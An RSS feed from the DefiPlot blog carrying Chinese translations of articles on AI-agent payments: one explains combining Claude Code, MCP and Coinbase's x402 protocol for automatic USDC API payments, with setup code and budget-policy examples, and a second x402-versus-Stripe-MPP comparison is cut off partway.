<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[DEFIPLOT]]></title><description><![CDATA[Thoughts, stories and ideas.]]></description><link>https://defiplot.com/blog/</link><image><url>https://defiplot.com/blog/favicon.png</url><title>DEFIPLOT</title><link>https://defiplot.com/blog/</link></image><generator>Ghost 5.51</generator><lastBuildDate>Sat, 18 Apr 2026 14:30:08 GMT</lastBuildDate><atom:link href="https://defiplot.com/blog/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[MCP 和 x402：天生一对]]></title><description><![CDATA[有人使用 Claude 报税，通过 x402 支付了 $3.80 的 USDC，并将报税表通过实体邮件寄给了 IRS——全程无需触碰任何表格。]]></description><link>https://defiplot.com/blog/mcp-and-x402-a-perfect-match/</link><guid isPermaLink="false">69e384d0ec23a43b2add9530</guid><category><![CDATA[tech]]></category><dc:creator><![CDATA[defiplot]]></dc:creator><pubDate>Sat, 18 Apr 2026 14:11:06 GMT</pubDate><media:content url="https://defiplot.com/blog/content/images/2026/04/mcp-and-x402-a-perfect-match.png" medium="image"/><content:encoded><![CDATA[<img src="https://defiplot.com/blog/content/images/2026/04/mcp-and-x402-a-perfect-match.png" alt="MCP &#x548C; x402&#xFF1A;&#x5929;&#x751F;&#x4E00;&#x5BF9;"><p>&#x6709;&#x4EBA;&#x4F7F;&#x7528; Claude &#x62A5;&#x7A0E;&#xFF0C;&#x901A;&#x8FC7; x402 &#x652F;&#x4ED8;&#x4E86; $3.80 &#x7684; USDC&#xFF0C;&#x5E76;&#x5C06;&#x62A5;&#x7A0E;&#x8868;&#x901A;&#x8FC7;&#x5B9E;&#x4F53;&#x90AE;&#x4EF6;&#x5BC4;&#x7ED9;&#x4E86; IRS&#x2014;&#x2014;&#x5168;&#x7A0B;&#x65E0;&#x9700;&#x89E6;&#x78B0;&#x4EFB;&#x4F55;&#x8868;&#x683C;&#x3002;</p><p>&#x968F;&#x540E;&#x7684;&#x4E00;&#x53E5;&#x8BC4;&#x4EF7;&#x662F;&#xFF1A;&quot;base + x402 + claude = &#x4E0D;&#x53EF;&#x963B;&#x6321;&#x7684;&#x6280;&#x672F;&#x6808;&#x3002;&quot;</p><p>&#x8FD9;&#x4E0D;&#x662F;&#x4E00;&#x4E2A;&#x6F14;&#x793A;&#x3002;&#x5B83;&#x5DF2;&#x7ECF;&#x5728;&#x751F;&#x4EA7;&#x73AF;&#x5883;&#x4E2D;&#x8FD0;&#x884C;&#x3002;&#x672C;&#x6587;&#x5C06;&#x4ECB;&#x7ECD;&#x5F53;&#x4F60;&#x5C06; Claude Code&#x3001;MCP &#x548C; x402 &#x7ED3;&#x5408;&#x5728;&#x4E00;&#x8D77;&#x65F6;&#x4F1A;&#x53D1;&#x751F;&#x4EC0;&#x4E48;&#xFF0C;&#x4EE5;&#x53CA;&#x4E3A;&#x4EC0;&#x4E48;&#x8FD9;&#x4EE3;&#x8868;&#x4E86; API &#x5546;&#x4E1A;&#x5316;&#x65B9;&#x5F0F;&#x7684;&#x7ED3;&#x6784;&#x6027;&#x8F6C;&#x53D8;&#x3002;</p><figure class="kg-card kg-image-card"><img src="https://defiplot.com/blog/content/images/2026/04/1-Tpb58gpBK4hezVa0xC5GLA.png" class="kg-image" alt="MCP &#x548C; x402&#xFF1A;&#x5929;&#x751F;&#x4E00;&#x5BF9;" loading="lazy"></figure><h2 id="1%E3%80%81%E4%B8%BA%E4%BB%80%E4%B9%88-mcp-%E5%92%8C-x402-%E5%A4%A9%E7%94%9F%E4%B8%80%E5%AF%B9">1&#x3001;&#x4E3A;&#x4EC0;&#x4E48; MCP &#x548C; x402 &#x5929;&#x751F;&#x4E00;&#x5BF9;</h2><p>MCP&#xFF08;Model Context Protocol&#xFF0C;&#x6A21;&#x578B;&#x4E0A;&#x4E0B;&#x6587;&#x534F;&#x8BAE;&#xFF09;&#x7531; Anthropic &#x5F00;&#x53D1;&#xFF0C;&#x662F; AI &#x4EE3;&#x7406;&#x8C03;&#x7528;&#x5916;&#x90E8;&#x5DE5;&#x5177;&#x7684;&#x6807;&#x51C6;&#x3002;Claude Code &#x4F7F;&#x7528; MCP &#x670D;&#x52A1;&#x5668;&#x6765;&#x8BBF;&#x95EE;&#x6570;&#x636E;&#x5E93;&#x3001;API &#x548C;&#x5916;&#x90E8;&#x670D;&#x52A1;&#x3002;</p><p>x402 &#x662F;&#x6784;&#x5EFA;&#x5728; HTTP &#x4E4B;&#x4E0A;&#x7684;&#x652F;&#x4ED8;&#x5C42;&#x3002;&#x670D;&#x52A1;&#x5668;&#x8FD4;&#x56DE;&#x5E26;&#x6709;&#x4EF7;&#x683C;&#x7684; HTTP 402 &#x72B6;&#x6001;&#x7801;&#xFF0C;&#x4EE3;&#x7406;&#x7528; USDC &#x652F;&#x4ED8;&#xFF0C;&#x7136;&#x540E;&#x91CD;&#x8BD5;&#x3002;&#x65E0;&#x9700;&#x8868;&#x5355;&#x3001;&#x65E0;&#x9700; API &#x5BC6;&#x94A5;&#x3001;&#x65E0;&#x9700;&#x8BA2;&#x9605;&#x3002;</p><p>&#x5C06;&#x5B83;&#x4EEC;&#x7ED3;&#x5408;&#x8D77;&#x6765;&#xFF0C;&#x6D41;&#x7A0B;&#x5982;&#x4E0B;&#xFF1A;</p><pre><code>Claude calls a tool via MCP
  &#x2193;
MCP server sends HTTP request to paid API
  &#x2193;
API returns 402 Payment Required ($0.01 USDC)
  &#x2193;
MCP server pays automatically from wallet
  &#x2193;
API returns 200 OK + data
  &#x2193;
Claude continues the task
</code></pre><p>&#x4EFB;&#x4F55;&#x6B65;&#x9AA4;&#x90FD;&#x4E0D;&#x9700;&#x8981;&#x4EBA;&#x7C7B;&#x6279;&#x51C6;&#x3002;&#x53EA;&#x8981;&#x94B1;&#x5305;&#x6709;&#x4F59;&#x989D;&#x4E14;&#x652F;&#x51FA;&#x5728;&#x9884;&#x7B97;&#x7B56;&#x7565;&#x8303;&#x56F4;&#x5185;&#xFF0C;Claude &#x5C31;&#x4F1A;&#x7AEF;&#x5230;&#x7AEF;&#x5730;&#x5904;&#x7406;&#x4E00;&#x5207;&#x3002;</p><p>&#x62A5;&#x7A0E;&#x793A;&#x4F8B;&#x4F7F;&#x7528;&#x4E86; PostalForm&#x2014;&#x2014;&#x5728;&#x53D1;&#x5E03;&#x65F6;&#x5C31;&#x4E0E; MPP/x402 &#x96C6;&#x6210;&#x7684;&#x670D;&#x52A1;&#x4E4B;&#x4E00;&#x3002;Claude &#x8D77;&#x8349;&#x4E86;&#x62A5;&#x7A0E;&#x8868;&#xFF0C;&#x901A;&#x8FC7; x402 &#x652F;&#x4ED8;&#x4E86;&#x90AE;&#x5BC4;&#x670D;&#x52A1;&#x8D39;&#x7528;&#xFF0C;PostalForm &#x901A;&#x8FC7; USPS &#x5C06;&#x5176;&#x5BC4;&#x7ED9;&#x4E86; IRS&#x3002;&#x4EBA;&#x7C7B;&#x7684;&#x89D2;&#x8272;&#x4EC5;&#x4EC5;&#x662F;&#xFF1A;&#x8F93;&#x5165;&#x6307;&#x4EE4;&#x3002;</p><h2 id="2%E3%80%81%E6%9E%B6%E6%9E%84">2&#x3001;&#x67B6;&#x6784;</h2><p>Coinbase &#x7684;&#x5B98;&#x65B9;&#x6587;&#x6863;&#x5305;&#x542B;&#x4E00;&#x4E2A;&#x53EF;&#x8FD0;&#x884C;&#x7684; MCP + x402 &#x793A;&#x4F8B;&#x3002;&#x7ED3;&#x6784;&#x975E;&#x5E38;&#x7B80;&#x5355;&#x3002;</p><pre><code>Claude Desktop / Claude Code
      &#x2193; tool call
MCP Server (x402 client)
      &#x2193; HTTP request
Paid API (x402-enabled endpoint)
      &#x2193; 402 Payment Required
MCP Server pays automatically in USDC
      &#x2193; 200 OK + data
Result returned to Claude
</code></pre><p>&#x5BA2;&#x6237;&#x7AEF;&#x5B9E;&#x73B0;&#x975E;&#x5E38;&#x7B80;&#x6D01;&#xFF1A;</p><pre><code>import { wrapAxiosWithPayment } from &quot;@x402/axios&quot;;
import { x402Client } from &quot;@x402/core/client&quot;;
import { registerExactEvmScheme } from &quot;@x402/evm/exact/client&quot;;
const client = new x402Client();
registerExactEvmScheme(client, { signer: evmSigner });
// Every axios request now handles x402 automatically
const httpClient = wrapAxiosWithPayment(axios.create(), client);
// Write normal HTTP requests &#x2014; 402 responses are handled transparently
const data = await httpClient.get(&quot;https://api.example.com/paid-endpoint&quot;);
</code></pre><p>&#x670D;&#x52A1;&#x7AEF;&#x540C;&#x6837;&#x7B80;&#x6D01;&#xFF1A;</p><pre><code>// Hono example &#x2014; x402-enabled endpoint
import { paymentMiddleware } from &quot;x402-hono&quot;;
app.use(
  paymentMiddleware(
    process.env.WALLET_ADDRESS,
    {
      &quot;/api/data&quot;: {
        price: &quot;$0.01&quot;,
        network: &quot;base-sepolia&quot;,
      },
    },
    { url: &quot;https://x402.org/facilitator&quot; }
  )
);
app.get(&quot;/api/data&quot;, (c) =&gt; {
  return c.json({ result: &quot;paid content&quot; });
});
</code></pre><h2 id="3%E3%80%81claude-code-%E8%AE%BE%E7%BD%AE%E6%8F%90%E7%A4%BA%E8%AF%8D">3&#x3001;Claude Code &#x8BBE;&#x7F6E;&#x63D0;&#x793A;&#x8BCD;</h2><p>&#x5C06;&#x4EE5;&#x4E0B;&#x5185;&#x5BB9;&#x7C98;&#x8D34;&#x5230; Claude Code &#x4E2D;&#xFF0C;&#x5373;&#x53EF;&#x642D;&#x5EFA;&#x4E00;&#x4E2A;&#x652F;&#x6301; x402 &#x7684; MCP &#x670D;&#x52A1;&#x5668;&#xFF1A;</p><pre><code># Set up an x402-enabled MCP server
## Goal
Build an MCP server that can access paid APIs using the x402 protocol.
When Claude calls an MCP tool, payment should be handled automatically
via x402 &#x2014; no human intervention at payment time.
## Stack
- TypeScript
- @x402/axios (client-side payment automation)
- @x402/evm (Base/EVM support)
- @modelcontextprotocol/sdk (MCP server)
## Steps
### 1. Install dependencies
npm install @x402/axios @x402/core @x402/evm @modelcontextprotocol/sdk axios viem
### 2. Environment variables (.env)
EVM_PRIVATE_KEY=0x...     # Private key of wallet holding USDC on Base
RESOURCE_SERVER_URL=https://api.example.com
ENDPOINT_PATH=/paid-endpoint
### 3. Implement the MCP server
Spec:
- Tool name: get_paid_data
- Description: Fetch data from an x402-priced API
- Payment is handled automatically by @x402/axios
- Use EVM wallet on Base mainnet with USDC
- On 402 response: auto-pay and retry
### 4. Register with Claude Desktop
Add to claude_desktop_config.json:
{
  &quot;mcpServers&quot;: {
    &quot;x402-demo&quot;: {
      &quot;command&quot;: &quot;node&quot;,
      &quot;args&quot;: [&quot;./dist/mcp-server.js&quot;],
      &quot;env&quot;: {
        &quot;EVM_PRIVATE_KEY&quot;: &quot;&lt;your-private-key&gt;&quot;,
        &quot;RESOURCE_SERVER_URL&quot;: &quot;&lt;api-url&gt;&quot;
      }
    }
  }
}
### 5. Test
Ask Claude: &quot;Use the get_paid_data tool to fetch data.&quot;
Check the X-Payment-Settled header to confirm the transaction amount.
## Reference
- Official example: https://github.com/coinbase/x402/tree/main/examples/typescript/clients/mcp
- Docs: https://docs.cdp.coinbase.com/x402/mcp-server
</code></pre><h2 id="4%E3%80%81%E8%A2%AB%E6%B6%88%E9%99%A4%E7%9A%84%E4%BD%93%E9%AA%8C%E6%91%A9%E6%93%A6">4&#x3001;&#x88AB;&#x6D88;&#x9664;&#x7684;&#x4F53;&#x9A8C;&#x6469;&#x64E6;</h2><p>&#x4F20;&#x7EDF;&#x7684; API &#x8BBF;&#x95EE;&#x6D41;&#x7A0B;&#xFF1A;</p><ol><li>&#x6CE8;&#x518C;&#x8D26;&#x6237;</li><li>&#x6DFB;&#x52A0;&#x4FE1;&#x7528;&#x5361;</li><li>&#x751F;&#x6210; API &#x5BC6;&#x94A5;</li><li>&#x9009;&#x62E9;&#x5B9A;&#x4EF7;&#x65B9;&#x6848;</li><li>&#x7BA1;&#x7406;&#x6708;&#x5EA6;&#x8D26;&#x5355;</li></ol><p>&#x6574;&#x4E2A;&#x6D41;&#x7A0B;&#x662F;&#x4E3A;&#x4F7F;&#x7528;&#x6D4F;&#x89C8;&#x5668;&#x7684;&#x4EBA;&#x7C7B;&#x8BBE;&#x8BA1;&#x7684;&#x3002;&#x81EA;&#x4E3B;&#x4EE3;&#x7406;&#x65E0;&#x6CD5;&#x586B;&#x5199;&#x8868;&#x5355;&#x3001;&#x65E0;&#x6CD5;&#x9009;&#x62E9;&#x65B9;&#x6848;&#x3001;&#x65E0;&#x6CD5;&#x7BA1;&#x7406;&#x4EEA;&#x8868;&#x76D8;&#x3002;</p><p>x402 &#xD7; MCP &#x6D88;&#x9664;&#x4E86;&#x8FD9;&#x4E00;&#x5207;&#x3002;&#x4EE3;&#x7406;&#x8C03;&#x7528; API &#x2192; &#x8FD4;&#x56DE; 402 &#x2192; &#x53D1;&#x9001;&#x652F;&#x4ED8; &#x2192; &#x6536;&#x5230;&#x6570;&#x636E;&#x3002;&#x65E0;&#x9700;&#x6CE8;&#x518C;&#x3001;&#x65E0;&#x9700; API &#x5BC6;&#x94A5;&#x3001;&#x65E0;&#x9700;&#x7BA1;&#x7406;&#x8BA2;&#x9605;&#x3002;</p><p>&#x5173;&#x4E8E;&#x8303;&#x56F4;&#x7684;&#x6F84;&#x6E05;&#xFF1A;x402 &#x4E0D;&#x5904;&#x7406;&#x8BA2;&#x9605;&#x3001;&#x5F00;&#x7968;&#x3001;&#x5BA2;&#x6237;&#x7BA1;&#x7406;&#x3001;&#x7A0E;&#x52A1;&#x5408;&#x89C4;&#x6216;&#x9000;&#x6B3E;&#x4E89;&#x8BAE;&#x3002;&#x5B83;&#x662F;&#x4E00;&#x4E2A;&#x534F;&#x8BAE;&#x7EA7;&#x522B;&#x7684;&#x6309;&#x8BF7;&#x6C42;&#x652F;&#x4ED8;&#x539F;&#x8BED;&#x3002;&#x8FD9;&#x662F;&#x4E00;&#x4E2A;&#x6DF1;&#x601D;&#x719F;&#x8651;&#x7684;&#x8BBE;&#x8BA1;&#x51B3;&#x7B56;&#x2014;&#x2014;&#x9762;&#x5411;&#x4EBA;&#x7C7B;&#x7684;&#x7BA1;&#x7406;&#x7559;&#x5728; Stripe &#x4E0A;&#xFF0C;&#x81EA;&#x4E3B;&#x7684;&#x6309;&#x8BF7;&#x6C42;&#x652F;&#x4ED8;&#x8FD0;&#x884C;&#x5728; x402 &#x4E0A;&#x3002;</p><h2 id="5%E3%80%81%E4%BD%A0%E7%8E%B0%E5%9C%A8%E5%8F%AF%E4%BB%A5%E6%9E%84%E5%BB%BA%E4%BB%80%E4%B9%88">5&#x3001;&#x4F60;&#x73B0;&#x5728;&#x53EF;&#x4EE5;&#x6784;&#x5EFA;&#x4EC0;&#x4E48;</h2><p><strong>&#x81EA;&#x4E3B;&#x7814;&#x7A76;</strong> &#x7ED9; Claude &#x4E00;&#x4E2A;&#x7814;&#x7A76;&#x4EFB;&#x52A1;&#x3002;&#x5B83;&#x901A;&#x8FC7; MCP &#x8C03;&#x7528;&#x591A;&#x4E2A;&#x6570;&#x636E; API&#xFF0C;&#x901A;&#x8FC7; x402 &#x6BCF;&#x6B21;&#x8C03;&#x7528;&#x652F;&#x4ED8;&#x51E0;&#x5206;&#x94B1;&#xFF0C;&#x5E76;&#x8FD4;&#x56DE;&#x4E00;&#x4EFD;&#x5B8C;&#x6574;&#x7684;&#x62A5;&#x544A;&#x3002;&#x65E0;&#x9700;&#x9884;&#x5148;&#x6CE8;&#x518C;&#x6BCF;&#x4E2A; API &#x63D0;&#x4F9B;&#x5546;&#x3002;</p><p><strong>&#x65E0;&#x9700;&#x8BA2;&#x9605;&#x5373;&#x53EF;&#x8BBF;&#x95EE;&#x4ED8;&#x8D39;&#x5185;&#x5BB9;</strong> &#x6309;&#x4F7F;&#x7528;&#x6B21;&#x6570;&#x8BBF;&#x95EE;&#x4ED8;&#x8D39;&#x5185;&#x5BB9;&#x6216;&#x4E13;&#x4E1A;&#x6570;&#x636E;&#x6E90;&#x3002;Claude &#x652F;&#x4ED8;&#x5E76;&#x83B7;&#x53D6;&#x2014;&#x2014;&#x65E0;&#x9700;&#x4EBA;&#x7C7B;&#x5148;&#x8BBE;&#x7F6E;&#x8BA2;&#x9605;&#x3002;</p><p><strong>&#x7269;&#x7406;&#x4E16;&#x754C;&#x64CD;&#x4F5C;</strong>&#xFF08;PostalForm &#x793A;&#x4F8B;&#xFF09;&#x652F;&#x6301; x402 &#x7684;&#x670D;&#x52A1;&#x53EF;&#x4EE5;&#x89E6;&#x53D1;&#x7269;&#x7406;&#x64CD;&#x4F5C;&#x2014;&#x2014;&#x6253;&#x5370;&#x3001;&#x90AE;&#x5BC4;&#x3001;&#x8BA2;&#x8D2D;&#x2014;&#x2014;&#x8FD9;&#x4E9B;&#x64CD;&#x4F5C;&#x53EF;&#x4EE5;&#x50CF;&#x5176;&#x4ED6; API &#x4E00;&#x6837;&#x4ECE; Claude &#x8C03;&#x7528;&#x3002;&quot;&#x8D77;&#x8349;&#x8FD9;&#x4E2A;&#x5E76;&#x90AE;&#x5BC4;&#x51FA;&#x53BB;&quot;&#x53D8;&#x6210;&#x4E86;&#x4E00;&#x6761;&#x5B8C;&#x5168;&#x6267;&#x884C;&#x7684;&#x5355;&#x4E00;&#x6307;&#x4EE4;&#x3002;</p><h2 id="6%E3%80%81%E9%A2%84%E7%AE%97%E6%8E%A7%E5%88%B6">6&#x3001;&#x9884;&#x7B97;&#x63A7;&#x5236;</h2><p>&#x81EA;&#x4E3B;&#x652F;&#x51FA;&#x5F15;&#x53D1;&#x4E86;&#x4E00;&#x4E2A;&#x663E;&#x800C;&#x6613;&#x89C1;&#x7684;&#x62C5;&#x5FE7;&#x3002;&#x7B54;&#x6848;&#x5728;&#x4E8E; upto &#x65B9;&#x6848;&#x548C;&#x7B56;&#x7565;&#x5F15;&#x64CE;&#x3002;</p><p><strong>upto &#x65B9;&#x6848;</strong>&#xFF1A;&#x4EE3;&#x7406;&#x9884;&#x5148;&#x7B7E;&#x7F72;&#x4E00;&#x4E2A; $5.00 &#x7684;&#x4E0A;&#x9650;&#x3002;&#x670D;&#x52A1;&#x5668;&#x53EA;&#x6536;&#x53D6;&#x5B9E;&#x9645;&#x6D88;&#x8D39;&#x7684;&#x91D1;&#x989D;&#x3002;Permit2 &#x5408;&#x7EA6;&#x4F7F;&#x8FC7;&#x5EA6;&#x6536;&#x8D39;&#x5728;&#x6280;&#x672F;&#x4E0A;&#x4E0D;&#x53EF;&#x80FD;&#x5B9E;&#x73B0;&#x3002;</p><p><strong>&#x7B56;&#x7565;&#x5F15;&#x64CE;</strong>&#xFF08;Coinbase CDP&#xFF09;&#xFF1A;</p><pre><code>{
  maxAmountPerTransaction: &quot;1.00&quot;,  // $1 per call max
  dailyLimit: &quot;10.00&quot;,              // $10 per day total
  allowedRecipients: [
    &quot;0xAbCd...1234&quot;                 // only this address
  ]
}
</code></pre><p>&#x6CA1;&#x6709;&#x4F59;&#x989D; &#x2192; &#x4EE3;&#x7406;&#x505C;&#x6B62;&#x3002;&#x8D85;&#x51FA;&#x7B56;&#x7565; &#x2192; &#x4EE3;&#x7406;&#x505C;&#x6B62;&#x3002;&#x8FD9;&#x5C31;&#x662F;&#x9884;&#x7B97;&#x7EA6;&#x675F;&#x81EA;&#x4E3B;&#x4EE3;&#x7406;&#x7684;&#x67B6;&#x6784;&#x3002;</p><h2 id="7%E3%80%81%E5%AE%A2%E8%A7%82%E8%AF%84%E4%BC%B0">7&#x3001;&#x5BA2;&#x89C2;&#x8BC4;&#x4F30;</h2><p>&#x517C;&#x5BB9; x402 &#x7684; API &#x4ECD;&#x7136;&#x6709;&#x9650;&#x3002;&#x76EE;&#x524D;&#x652F;&#x6301; x402 &#x7684;&#x65E5;&#x8BED;&#x670D;&#x52A1;&#x57FA;&#x672C;&#x4E3A;&#x96F6;&#x3002;LangChain&#x3001;CrewAI &#x548C; Claude &#x7684; MCP &#x751F;&#x6001;&#x7CFB;&#x7EDF;&#x5DF2;&#x5C06; x402 &#x9002;&#x914D;&#x5668;&#x4F5C;&#x4E3A;&#x6807;&#x51C6;&#x914D;&#x7F6E;&#xFF0C;&#x4F46;&#x4F9B;&#x5E94;&#x7AEF;&#x2014;&#x2014;&#x63A5;&#x53D7; x402 &#x7684; API&#x2014;&#x2014;&#x4ECD;&#x5904;&#x4E8E;&#x65E9;&#x671F;&#x9636;&#x6BB5;&#x3002;</p><p>&#x7ED3;&#x6784;&#x6027;&#x6B63;&#x5728;&#x53D1;&#x751F;&#x53D8;&#x5316;&#x7684;&#x662F;&#xFF1A;&#x968F;&#x7740; Claude Code &#x7684;&#x6210;&#x719F;&#x548C; MCP &#x5DE5;&#x5177;&#x4F7F;&#x7528;&#x7684;&#x589E;&#x957F;&#xFF0C;API &#x63D0;&#x4F9B;&#x5546;&#x9762;&#x4E34;&#x4E00;&#x4E2A;&#x65B0;&#x95EE;&#x9898;&#x3002;&#x4F60;&#x662F;&#x60F3;&#x8BA9; AI &#x4EE3;&#x7406;&#x80FD;&#x591F;&#x8BBF;&#x95EE;&#x4F60;&#x7684;&#x670D;&#x52A1;&#xFF0C;&#x8FD8;&#x662F;&#x4EC5;&#x9650;&#x4E8E;&#x62E5;&#x6709;&#x8BA1;&#x8D39;&#x8D26;&#x6237;&#x7684;&#x4EBA;&#x7C7B;&#xFF1F;x402 &#x662F;&#x5B9E;&#x73B0;&#x524D;&#x8005;&#x7684;&#x6700;&#x7B80;&#x8DEF;&#x5F84;&#x3002;</p><p>&#x62A5;&#x7A0E;&#x6545;&#x4E8B;&#x53EA;&#x662F;&#x89C4;&#x6A21;&#x5316;&#x540E;&#x7684;&#x4E00;&#x4E2A;&#x7F29;&#x5F71;&#x3002;&#x4E00;&#x4E2A;&#x80FD;&#x591F;&#x5904;&#x7406;&#x5B8C;&#x6574;&#x5DE5;&#x4F5C;&#x6D41;&#x2014;&#x2014;&#x8D77;&#x8349;&#x3001;&#x652F;&#x4ED8;&#x3001;&#x53D1;&#x9001;&#x2014;&#x2014;&#x800C;&#x65E0;&#x9700;&#x5728;&#x6BCF;&#x4E2A;&#x6B65;&#x9AA4;&#x8FDB;&#x884C;&#x4EBA;&#x5DE5;&#x5E72;&#x9884;&#x7684;&#x4EE3;&#x7406;&#x3002;&#x5B9E;&#x73B0;&#x8FD9;&#x4E00;&#x5207;&#x7684;&#x57FA;&#x7840;&#x8BBE;&#x65BD;&#x4ECA;&#x5929;&#x5DF2;&#x7ECF;&#x5B58;&#x5728;&#x3002;</p><hr><p>&#x539F;&#x6587;&#x94FE;&#x63A5;: <a href="https://medium.com/@m.k_97958/claude-code-x402-why-mcp-and-x402-belong-together-6b97ffa1ce34?ref=defiplot.com">Claude Code &#xD7; x402: Why MCP and x402 Belong Together</a></p><p>DefiPlot&#x7FFB;&#x8BD1;&#x6574;&#x7406;&#xFF0C;&#x8F6C;&#x8F7D;&#x8BF7;&#x6807;&#x660E;&#x51FA;&#x5904;</p>]]></content:encoded></item><item><title><![CDATA[AI代理支付：x402 vs. MPP]]></title><description><![CDATA[对 2026 年重塑代理服务付费方式的两种协议的实践对比。]]></description><link>https://defiplot.com/blog/agentic-payment-x402-vs-stripe-mpp/</link><guid isPermaLink="false">69e3290fec23a43b2add94ee</guid><category><![CDATA[tech]]></category><dc:creator><![CDATA[defiplot]]></dc:creator><pubDate>Sat, 18 Apr 2026 07:08:46 GMT</pubDate><media:content url="https://defiplot.com/blog/content/images/2026/04/agentic-payment-x402-vs-mpp.png" medium="image"/><content:encoded><![CDATA[<img src="https://defiplot.com/blog/content/images/2026/04/agentic-payment-x402-vs-mpp.png" alt="AI&#x4EE3;&#x7406;&#x652F;&#x4ED8;&#xFF1A;x402 vs. MPP"><p>&#x76F4;&#x5230;&#x6700;&#x8FD1;&#xFF0C;API &#x6536;&#x8D39;&#x7684;&#x65B9;&#x5F0F;&#x51E0;&#x4E4E;&#x53EA;&#x6709;&#x4E00;&#x79CD;&#xFF1A;Stripe &#x8BA2;&#x9605;&#x3001;API &#x5BC6;&#x94A5;&#x548C;&#x6708;&#x5EA6;&#x53D1;&#x7968;&#x3002;&#x5F53;&#x6CE8;&#x518C;&#x7684;&#x662F;&#x4EBA;&#x7C7B;&#x5F00;&#x53D1;&#x8005;&#x65F6;&#xFF0C;&#x8FD9;&#x4E2A;&#x6A21;&#x5F0F;&#x8FD0;&#x4F5C;&#x5F97;&#x5F88;&#x597D;&#x3002;&#x4F46; AI &#x4EE3;&#x7406;&#x4E0D;&#x4F1A;&#x586B;&#x8868;&#xFF0C;&#x4E5F;&#x4E0D;&#x4F1A;&#x7BA1;&#x7406;&#x8BA1;&#x8D39;&#x4EEA;&#x8868;&#x76D8;&#x3002;</p><p>&#x4E24;&#x79CD;&#x65B0;&#x534F;&#x8BAE;&#x6B63;&#x5728;&#x7ADE;&#x76F8;&#x89E3;&#x51B3;&#x8FD9;&#x4E2A;&#x95EE;&#x9898;&#xFF1A;</p><ul><li>Coinbase &#x7684; x402 &#x5C06;&#x652F;&#x4ED8;&#x76F4;&#x63A5;&#x5D4C;&#x5165; HTTP &#x8BF7;&#x6C42;&#xFF0C;&#x65E0;&#x9700;&#x8D26;&#x6237;&#xFF0C;&#x65E0;&#x9700;&#x8BBE;&#x7F6E;&#x3002;</li><li>Stripe &#x7684;&#x673A;&#x5668;&#x652F;&#x4ED8;&#x534F;&#x8BAE;&#xFF08;Machine Payments Protocol&#xFF0C;MPP&#xFF09;&#xFF0C;&#x4E8E; 2026 &#x5E74; 3 &#x6708; 18 &#x65E5;&#x968F; Tempo &#x4E3B;&#x7F51;&#x63A8;&#x51FA;&#xFF0C;&#x91C7;&#x7528;&#x4E86;&#x4E00;&#x79CD;&#x4E0D;&#x540C;&#x7684;&#x65B9;&#x6CD5;&#xFF1A;&#x57FA;&#x4E8E;&#x4F1A;&#x8BDD;&#x7684;&#x6D41;&#x5F0F;&#x652F;&#x4ED8;&#xFF0C;&#x5E76;&#x5185;&#x7F6E;&#x4E86; Stripe &#x7684;&#x5408;&#x89C4;&#x4F53;&#x7CFB;&#x3002;</li></ul><p>&#x5982;&#x679C;&#x4F60;&#x6B63;&#x5728;&#x6784;&#x5EFA;&#x6216;&#x5546;&#x4E1A;&#x5316; MCP &#x5DE5;&#x5177;&#xFF0C;&#x8FD9;&#x5C31;&#x662F;&#x4F60;&#x73B0;&#x5728;&#x9700;&#x8981;&#x505A;&#x7684;&#x51B3;&#x7B56;&#x3002;&#x672C;&#x6587;&#x5C06;&#x8BE6;&#x7EC6;&#x4ECB;&#x7ECD;&#x8FD9;&#x4E24;&#x79CD;&#x534F;&#x8BAE;&#xFF0C;&#x5728;&#x5F00;&#x53D1;&#x8005;&#x4F53;&#x9A8C;&#x3001;&#x6210;&#x672C;&#x3001;&#x5B89;&#x5168;&#x6027;&#x548C;&#x751F;&#x6001;&#x6210;&#x719F;&#x5EA6;&#x65B9;&#x9762;&#x8FDB;&#x884C;&#x6BD4;&#x8F83;&#xFF0C;&#x5E76;&#x8BA8;&#x8BBA;&#x4F20;&#x7EDF;&#x8BA1;&#x8D39;&#x5728;&#x54EA;&#x4E9B;&#x573A;&#x666F;&#x4ECD;&#x7136;&#x9002;&#x7528;&#x3002;</p><h2 id="1%E3%80%81%E4%B8%BA%E4%BB%80%E4%B9%88%E4%BC%A0%E7%BB%9F%E8%AE%A1%E8%B4%B9%E6%A8%A1%E5%BC%8F%E4%B8%8D%E9%80%82%E7%94%A8%E4%BA%8E-ai-%E4%BB%A3%E7%90%86">1&#x3001;&#x4E3A;&#x4EC0;&#x4E48;&#x4F20;&#x7EDF;&#x8BA1;&#x8D39;&#x6A21;&#x5F0F;&#x4E0D;&#x9002;&#x7528;&#x4E8E; AI &#x4EE3;&#x7406;</h2><p>AI &#x4EE3;&#x7406;&#x5728;&#x4EE3;&#x6211;&#x4EEC;&#x6267;&#x884C;&#x4EFB;&#x52A1;&#x65B9;&#x9762;&#x5DF2;&#x7ECF;&#x53D8;&#x5F97;&#x975E;&#x5E38;&#x51FA;&#x8272;&#xFF1A;&#x8C03;&#x7528; API&#x3001;&#x67E5;&#x8BE2;&#x6570;&#x636E;&#x5E93;&#x3001;&#x7F16;&#x6392;&#x591A;&#x6B65;&#x9AA4;&#x5DE5;&#x4F5C;&#x6D41;&#x3002;&#x4F46;&#x5F53;&#x4EE3;&#x7406;&#x9700;&#x8981;&#x4E3A;&#x4E00;&#x4E2A;&#x5B83;&#x672A;&#x88AB;&#x9884;&#x914D;&#x7F6E;&#x4F7F;&#x7528;&#x7684;&#x670D;&#x52A1;<em>&#x4ED8;&#x8D39;</em>&#x65F6;&#xFF0C;&#x6574;&#x4E2A;&#x4F53;&#x9A8C;&#x5C31;&#x4F1A;&#x5D29;&#x6E83;&#x3002;</p><p>&#x4F20;&#x7EDF;&#x6D41;&#x7A0B;&#xFF08;&#x6CE8;&#x518C;&#x8D26;&#x6237;&#x3001;&#x751F;&#x6210; API 